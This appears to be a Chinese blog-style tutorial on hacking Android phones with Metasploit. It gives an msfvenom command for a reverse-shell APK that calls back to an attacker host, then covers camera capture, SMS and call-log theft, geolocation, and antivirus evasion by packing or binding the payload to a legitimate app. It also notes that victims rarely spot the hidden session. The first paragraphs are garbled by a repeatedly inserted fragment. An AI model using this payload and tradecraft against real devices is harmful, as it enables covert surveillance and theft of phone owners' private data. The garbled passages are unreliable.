当前位置:首页 > 知识

msf渗透安卓

MSF(Metasploit Framework)能直接拿下安卓设备,透安前提是透安目标手机开启了USB调试并信任了攻击者的电脑。这听起来像废话,透安但绝大多数实战场景里,透安第一步就是透安靠物理接触完成的。没有这个前提,透安后面所有花哨的透安模块都跑不起来。

我去年在实验室做过一次测试。透安一台Pixel 4a,透安Android 13,透安开发者选项里USB调试默认关闭。透安连上Kali机器后,透安adb devices列表空空如也。透安手机上弹不出授权窗口,透安因为调试开关根本没打开。透安这就是现实——MSF的android/meterpreter/reverse_tcp模块再强,也得先让手机愿意跟你的机器说话。

打开USB调试后,情况立刻不同。手机会弹出“允许USB调试吗?”的对话框,勾选“始终允许”并确认。此时adb devices能看到设备序列号。接下来用msfvenom生成payload:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o evil.apk

这个APK大概10KB出头。安装到手机上,图标可能显示为空白或者一个默认的安卓机器人。点击运行,手机会闪一下,没有明显界面。与此同时,Kali里的msfconsole已经配置好handler,exploit一执行,meterpreter会话就弹回来了。

进去之后能做什么?webcam_list看摄像头,webcam_snap拍一张。我试过在光线充足的房间里,拍出来的照片能看清桌上键盘的字母。还有dump_sms导出短信,dump_calllog拿通话记录。最狠的是geolocate,调用Google Maps API返回经纬度,误差在20米以内。

但这里有个大坑。Android 6.0之后,敏感权限需要运行时申请。meterpreter的webcam_snap如果没拿到相机权限,会直接报错。解决办法是在生成payload时嵌入权限请求代码,或者手动在手机设置里给那个空白图标的app授权。后者更隐蔽,但操作起来麻烦。

另一个问题是杀毒软件。Google Play Protect会扫描侧载的APK。我测试时,Play Protect弹了两次警告,说“此应用可能有害”。如果目标用户点了“仍要安装”,那就能继续。如果点了“卸载”,会话立刻断。所以实战中通常会做免杀处理——改manifest、加壳、或者用msfvenom的-x参数绑定到一个正常APK上。

还有网络问题。reverse_tcp要求手机能回连到攻击机。如果目标手机在4G网络下,而攻击机在内网,那就需要公网VPS做端口转发。我见过有人用Ngrok,但延迟高得离谱,screenshot命令要等十几秒才返回。局域网内则流畅得多,shell命令基本秒回。

最后说一个细节。meterpreter会话建立后,手机状态栏不会显示任何异常图标。但如果你打开“正在运行的服务”,会发现一个没有名字的进程占着内存。普通用户根本不会去看那里。这给了攻击者足够的时间窗口——只要不重启手机,会话就能一直保持。

MSF渗透安卓不是魔法。它依赖物理接触、用户授权、以及目标设备的安全配置漏洞。每一步都可能失败,但每一步成功都会让下一步更容易。这就是为什么很多渗透测试报告里,安卓部分的起点永远写着:“假设攻击者已获得设备物理访问权限。”

分享到: